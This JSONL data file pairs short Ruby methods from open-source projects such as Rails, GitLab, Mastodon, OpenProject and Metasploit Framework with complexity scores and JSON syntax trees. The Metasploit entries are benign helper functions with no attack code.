+{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/stock/estimator.rb","start_line":47,"raw_source":"def taxation_options_for(shipping_method)\n {\n tax_category: shipping_method.tax_category,\n tax_zone: @order.tax_zone\n }\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"taxation_options_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"shipping_method\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tax_category\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shipping_method\"]},\"tax_category\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tax_zone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"tax_zone\"]}]}]}]}","id":"e2c038f7-c6aa-4b5d-8f46-61085c5511ba"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/activitypub/synchronize_followers_service.rb","start_line":9,"raw_source":"def call(account, partial_collection_url, expected_digest = nil)\n @account = account\n @expected_followers_ids = []\n @digest = [expected_digest].pack('H*') if expected_digest.present?\n\n return unless process_collection!(partial_collection_url)\n\n # Only remove followers if the digests match, as it is a destructive operation\n remove_unexpected_local_followers! if expected_digest.blank? || @digest == \"\\x00\" * 32\n end","complexity_score":16.18,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account\"]},{\"type\":\"arg\",\"children\":[\"partial_collection_url\"]},{\"type\":\"optarg\",\"children\":[\"expected_digest\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@account\",{\"type\":\"lvar\",\"children\":[\"account\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@expected_followers_ids\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_digest\"]},\"present?\"]},{\"type\":\"ivasgn\",\"children\":[\"@digest\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_digest\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"H*\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process_collection!\",{\"type\":\"lvar\",\"children\":[\"partial_collection_url\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_digest\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@digest\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0000\"]},\"*\",{\"type\":\"int\",\"children\":[32]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_unexpected_local_followers!\"]},null]}]}]}","id":"bb4faed4-8c9b-4081-a8b2-1eb5d8066b88"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/ldap/queries.rb","start_line":389,"raw_source":"def validate_result!(operation_result)\n code = operation_result.table[:code]\n if code == 0\n dlog('Operation was successful')\n else\n raise Msf::Exploit::Remote::LDAP::Error.new(error_code: code, operation_result: operation_result)\n end\n end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_result!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"operation_result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"code\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"operation_result\"]},\"table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"code\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"dlog\",{\"type\":\"str\",\"children\":[\"Operation was successful\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Remote\"]},\"LDAP\"]},\"Error\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error_code\"]},{\"type\":\"lvar\",\"children\":[\"code\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"operation_result\"]},{\"type\":\"lvar\",\"children\":[\"operation_result\"]}]}]}]}]}]}]}]}","id":"2e8ba99a-ec82-4072-bf55-0c4c30e98109"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/ptrace_sudo_token_priv_esc.rb","start_line":97,"raw_source":"def timeout\n datastore['TIMEOUT']\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"timeout\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TIMEOUT\"]}]}]}","id":"de5c252e-8ff0-4956-9fe7-2da3ec501393"}
+{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/request/session.rb","start_line":148,"raw_source":"def values\n load_for_read!\n @delegate.values\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"load_for_read!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@delegate\"]},\"values\"]}]}]}","id":"be3e4c09-051b-4a2a-aa2d-b8242065fa87"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/notes/update/image_diff_note.rb","start_line":40,"raw_source":"def pre_update_checks!(note, _args)\n return if note.is_a?(DiffNote) && note.position.on_image?\n\n raise_resource_not_available_error! 'Resource is not an ImageDiffNote'\n end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"pre_update_checks!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"note\"]},{\"type\":\"arg\",\"children\":[\"_args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"DiffNote\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"position\"]},\"on_image?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"raise_resource_not_available_error!\",{\"type\":\"str\",\"children\":[\"Resource is not an ImageDiffNote\"]}]}]}]}","id":"d5ab1e5e-5b9a-4235-aed7-df4e14879fcc"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/loose_foreign_keys/cleaner_service.rb","start_line":27,"raw_source":"def async_nullify?\n loose_foreign_key_definition.on_delete == :async_nullify\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"async_nullify?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loose_foreign_key_definition\"]},\"on_delete\"]},\"==\",{\"type\":\"sym\",\"children\":[\"async_nullify\"]}]}]}","id":"cb06574d-5019-49af-a8d8-1a665f9555c0"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/architecture.rb","start_line":22,"raw_source":"def get_os_architecture\n if session.type == 'meterpreter'\n return sysinfo['Architecture']\n else\n case session.platform\n when 'windows', 'win'\n # Check for 32-bit process on 64-bit arch\n arch = get_env('PROCESSOR_ARCHITEW6432')\n if arch.strip.empty? or arch =~ /PROCESSOR_ARCHITEW6432/\n arch = get_env('PROCESSOR_ARCHITECTURE')\n end\n if arch =~ /AMD64/m\n return ARCH_X64\n elsif arch =~ /86/m\n return ARCH_X86\n elsif arch =~ /ARM64/m\n return ARCH_AARCH64\n else\n print_error('Target is running Windows on an unsupported architecture!')\n return nil\n end\n end\n end\n end","complexity_score":28.6,"ast_json":"{\"type\":\"def\",\"children\":[\"get_os_architecture\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"meterpreter\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Architecture\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"platform\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"windows\"]},{\"type\":\"str\",\"children\":[\"win\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"arch\",{\"type\":\"send\",\"children\":[null,\"get_env\",{\"type\":\"str\",\"children\":[\"PROCESSOR_ARCHITEW6432\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"strip\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"PROCESSOR_ARCHITEW6432\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"arch\",{\"type\":\"send\",\"children\":[null,\"get_env\",{\"type\":\"str\",\"children\":[\"PROCESSOR_ARCHITECTURE\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"AMD64\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"86\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ARM64\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_AARCH64\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Target is running Windows on an unsupported architecture!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]}]},null]}]}]}","id":"692934ae-6496-42c1-9389-0fb959305c08"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/projects/filters/filter_on_project_phase.rb","start_line":133,"raw_source":"def parsed_start\n values.first.present? ? Date.parse(values.first) : nil\n end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"parsed_start\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"values\"]},\"first\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"values\"]},\"first\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"8b400c06-cfbc-4855-85e3-bbba75437a16"}
+{"repo_name":"discourse","file_path":"./repos/discourse/lib/compression/zip.rb","start_line":70,"raw_source":"def write_entries(entries, base_path, path, zipfile)\n entries.each do |e|\n zipfile_path = path == \"\" ? e : File.join(path, e)\n disk_file_path = File.join(base_path, zipfile_path)\n\n if File.directory? disk_file_path\n recursively_deflate_directory(disk_file_path, zipfile, base_path, zipfile_path)\n else\n put_into_archive(disk_file_path, zipfile, zipfile_path)\n end\n end\n end","complexity_score":14.3,"ast_json":"{\"type\":\"def\",\"children\":[\"write_entries\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entries\"]},{\"type\":\"arg\",\"children\":[\"base_path\"]},{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"zipfile\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entries\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"zipfile_path\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"==\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"disk_file_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"base_path\"]},{\"type\":\"lvar\",\"children\":[\"zipfile_path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"directory?\",{\"type\":\"lvar\",\"children\":[\"disk_file_path\"]}]},{\"type\":\"send\",\"children\":[null,\"recursively_deflate_directory\",{\"type\":\"lvar\",\"children\":[\"disk_file_path\"]},{\"type\":\"lvar\",\"children\":[\"zipfile\"]},{\"type\":\"lvar\",\"children\":[\"base_path\"]},{\"type\":\"lvar\",\"children\":[\"zipfile_path\"]}]},{\"type\":\"send\",\"children\":[null,\"put_into_archive\",{\"type\":\"lvar\",\"children\":[\"disk_file_path\"]},{\"type\":\"lvar\",\"children\":[\"zipfile\"]},{\"type\":\"lvar\",\"children\":[\"zipfile_path\"]}]}]}]}]}]}","id":"2854f169-bc3a-4c2f-af0c-ed8efb9ce1a0"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/diff_match_patch/lib/diff_match_patch.rb","start_line":898,"raw_source":"def diff_xIndex(diffs, loc)\n chars1 = 0\n chars2 = 0\n last_chars1 = 0\n last_chars2 = 0\n x = diffs.index do |diff|\n if diff[0] != :insert\n chars1 += diff[1].length\n end\n if diff[0] != :delete\n chars2 += diff[1].length\n end \n if chars1 > loc\n true\n else\n last_chars1 = chars1\n last_chars2 = chars2\n false\n end\n end\n\n if diffs.length != x && diffs[x][0] == :delete\n # The location was deleted.\n last_chars2\n else\n # Add the remaining len(character).\n last_chars2 + (loc - last_chars1)\n end\n end","complexity_score":43.05,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_xIndex\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"diffs\"]},{\"type\":\"arg\",\"children\":[\"loc\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"chars1\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"chars2\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"last_chars1\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"last_chars2\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"x\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diffs\"]},\"index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"diff\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"!=\",{\"type\":\"sym\",\"children\":[\"insert\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"chars1\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"length\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"!=\",{\"type\":\"sym\",\"children\":[\"delete\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"chars2\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"length\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chars1\"]},\">\",{\"type\":\"lvar\",\"children\":[\"loc\"]}]},{\"type\":\"true\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"last_chars1\",{\"type\":\"lvar\",\"children\":[\"chars1\"]}]},{\"type\":\"lvasgn\",\"children\":[\"last_chars2\",{\"type\":\"lvar\",\"children\":[\"chars2\"]}]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diffs\"]},\"length\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diffs\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"x\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"sym\",\"children\":[\"delete\"]}]}]},{\"type\":\"lvar\",\"children\":[\"last_chars2\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_chars2\"]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"last_chars1\"]}]}]}]}]}]}]}","id":"ec931070-c18f-40a2-a8f8-ce1f2b902279"}
+{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/actions/create_migration.rb","start_line":69,"raw_source":"def say_status(status, color, message = relative_destination) # :doc:\n base.shell.say_status(status, message, color) if config[:verbose]\n end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"say_status\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]},{\"type\":\"arg\",\"children\":[\"color\"]},{\"type\":\"optarg\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"relative_destination\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"verbose\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base\"]},\"shell\"]},\"say_status\",{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"color\"]}]},null]}]}","id":"c6774c45-f372-4225-90f4-bd2ca7c64977"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240503174054_remove_foreign_key_geo_repository_renamed_events.rb","start_line":11,"raw_source":"def up\n with_lock_retries do\n remove_foreign_key(\n FROM_TABLE,\n TO_TABLE,\n column: :project_id,\n if_exists: true\n )\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"const\",\"children\":[null,\"FROM_TABLE\"]},{\"type\":\"const\",\"children\":[null,\"TO_TABLE\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"be3ea8da-d00c-4965-b4dd-84f0f72350c3"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/mysql/type_metadata.rb","start_line":13,"raw_source":"def initialize(type_metadata, extra: nil)\n super(type_metadata)\n @extra = extra\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type_metadata\"]},{\"type\":\"kwoptarg\",\"children\":[\"extra\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type_metadata\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@extra\",{\"type\":\"lvar\",\"children\":[\"extra\"]}]}]}]}","id":"73de9dee-0c3f-4554-91d3-4dcbc94256b9"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/users/update_service.rb","start_line":77,"raw_source":"def organization_users_limit_exceeded_error\n message = format(_('Cannot update more than %{limit} organization data at once'), limit: ORGANIZATION_USERS_LIMIT)\n error_message(message)\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"organization_users_limit_exceeded_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Cannot update more than %{limit} organization data at once\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"const\",\"children\":[null,\"ORGANIZATION_USERS_LIMIT\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"error_message\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}","id":"6226f5f0-a9cf-42cd-9cd1-074ad171eeb3"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/services/custom_fields/hierarchy/hierarchical_item_service.rb","start_line":179,"raw_source":"def create_child_item(validation:, sort_order: nil)\n attributes = validation.to_h\n attributes[:sort_order] = sort_order - 1 if sort_order\n\n item = validation[:parent].children.create(**attributes)\n return Failure(item.errors) if item.new_record?\n\n update_position_cache(item.root)\n Success(item.reload)\n end","complexity_score":18.93,"ast_json":"{\"type\":\"def\",\"children\":[\"create_child_item\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"validation\"]},{\"type\":\"kwoptarg\",\"children\":[\"sort_order\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"validation\"]},\"to_h\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sort_order\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"sort_order\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sort_order\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"item\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"validation\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parent\"]}]},\"children\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"new_record?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"errors\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"update_position_cache\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"root\"]}]},{\"type\":\"send\",\"children\":[null,\"Success\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"reload\"]}]}]}]}","id":"aadf1b15-ec28-4325-8d80-9061b556052e"}
+{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/plugins/acts_as_journalized/lib/acts/journalized/save_hooks.rb","start_line":83,"raw_source":"def add_journal(user: User.current, notes: \"\", internal: false, cause: CauseOfChange::NoCause.new)\n self.journal_user ||= user\n self.journal_notes ||= notes\n self.journal_cause ||= cause\n self.journal_internal ||= internal\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_journal\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"notes\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"internal\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"cause\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CauseOfChange\"]},\"NoCause\"]},\"new\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"journal_user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"journal_notes\"]},{\"type\":\"lvar\",\"children\":[\"notes\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"journal_cause\"]},{\"type\":\"lvar\",\"children\":[\"cause\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"journal_internal\"]},{\"type\":\"lvar\",\"children\":[\"internal\"]}]}]}]}","id":"d60dbf32-7fb2-43ee-8e07-94d7c5a749e5"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb","start_line":472,"raw_source":"def rollback_db_transaction\n exec_rollback_db_transaction\n rescue ActiveRecord::ConnectionNotEstablished, ActiveRecord::ConnectionFailed\n # Connection's gone; that counts as a rollback\n end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"rollback_db_transaction\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exec_rollback_db_transaction\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ConnectionNotEstablished\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ConnectionFailed\"]}]},null,null]},null]}]}","id":"36166ceb-9fe3-431a-a2b3-ad4499c8a252"}
